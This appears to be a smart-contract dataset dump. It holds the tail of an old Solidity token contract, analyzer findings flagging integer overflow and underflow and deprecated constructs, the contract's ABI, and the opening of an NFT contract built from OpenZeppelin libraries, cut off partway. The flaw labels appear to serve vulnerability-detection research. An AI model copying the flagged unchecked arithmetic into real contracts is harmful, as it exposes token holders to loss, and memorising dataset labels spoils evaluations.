//call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this.
//receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData)
//it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead.
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
} | [{"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["109", "86"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["51", "52", "62", "63", "64"]}] | [{"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"RADCOINToken.sol": [109]}}, {"check": "deprecated-standards", "impact": "Informational", "confidence": "High", "lines": {"RADCOINToken.sol": [95]}}, {"check": "deprecated-standards", "impact": "Informational", "confidence": "High", "lines": {"RADCOINToken.sol": [134]}}, {"check": "deprecated-standards", "impact": "Informational", "confidence": "High", "lines": {"RADCOINToken.sol": [134]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"RADCOINToken.sol": [29]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"RADCOINToken.sol": [6]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"RADCOINToken.sol": [128, 129, 130, 131, 132, 133, 134, 135, 136, 127]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"RADCOINToken.sol": [34]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"RADCOINToken.sol": [23]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"RADCOINToken.sol": [16]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"RADCOINToken.sol": [10]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"RADCOINToken.sol": [96, 93, 94, 95]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"RADCOINToken.sol": [1]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"RADCOINToken.sol": [134]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"RADCOINToken.sol": [80]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"RADCOINToken.sol": [74]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"RADCOINToken.sol": [80]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"RADCOINToken.sol": [45]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"RADCOINToken.sol": [45]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"RADCOINToken.sol": [58]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"RADCOINToken.sol": [127]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"RADCOINToken.sol": [58]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"RADCOINToken.sol": [74]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"RADCOINToken.sol": [127]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"RADCOINToken.sol": [58]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"RADCOINToken.sol": [70]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"RADCOINToken.sol": [127]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"RADCOINToken.sol": [120]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"RADCOINToken.sol": [119]}}] | [{"error": "Integer Underflow.", "line": 106, "level": "Warning"}, {"error": "Integer Underflow.", "line": 109, "level": "Warning"}, {"error": "Integer Underflow.", "line": 108, "level": "Warning"}, {"error": "Integer Overflow.", "line": 127, "level": "Warning"}, {"error": "Integer Overflow.", "line": 62, "level": "Warning"}] | [{"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 134, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 95, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 134, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 6, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 10, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 34, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 70, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 80, "severity": 1}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 74, "severity": 2}, {"rule": "SOLIDITY_FUNCTIONS_RETURNS_TYPE_AND_NO_RETURN", "line": 6, "severity": 1}, {"rule": "SOLIDITY_FUNCTIONS_RETURNS_TYPE_AND_NO_RETURN", "line": 10, "severity": 1}, {"rule": "SOLIDITY_FUNCTIONS_RETURNS_TYPE_AND_NO_RETURN", "line": 16, "severity": 1}, {"rule": "SOLIDITY_FUNCTIONS_RETURNS_TYPE_AND_NO_RETURN", "line": 23, "severity": 1}, {"rule": "SOLIDITY_FUNCTIONS_RETURNS_TYPE_AND_NO_RETURN", "line": 29, "severity": 1}, {"rule": "SOLIDITY_FUNCTIONS_RETURNS_TYPE_AND_NO_RETURN", "line": 34, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1, "severity": 1}, {"rule": "SOLIDITY_REDUNDANT_FALLBACK_REJECT", "line": 93, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 134, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 134, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 6, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 10, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 16, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 23, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 29, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 34, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 45, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 58, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 70, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 74, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 80, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 93, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 117, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 127, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 84, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 85, "severity": 1}] | [{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"version","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"balance","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"},{"name":"_extraData","type":"bytes"}],"name":"approveAndCall","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"remaining","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":false,"stateMutability":"nonpayable","type":"fallback"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_from","type":"address"},{"indexed":true,"name":"_to","type":"address"},{"indexed":false,"name":"_value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_owner","type":"address"},{"indexed":true,"name":"_spender","type":"address"},{"indexed":false,"name":"_value","type":"uint256"}],"name":"Approval","type":"event"}] | v0.4.19+commit.c4cbbb05 | false | 200 | Default | false | bzzr://083eeaeadce611a682f823032403a942c5c7e1d0265ca8e8e1473b0660e28ad8 |
||||
ButtaBoys | 0xd10066d791b79f0a80e23e06503ec014da4783ba | Solidity | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// OpenZeppelin Contracts v4.4.1 (security/Pausable.sol)
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor() {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
// OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol)
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Enumerable.sol)
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
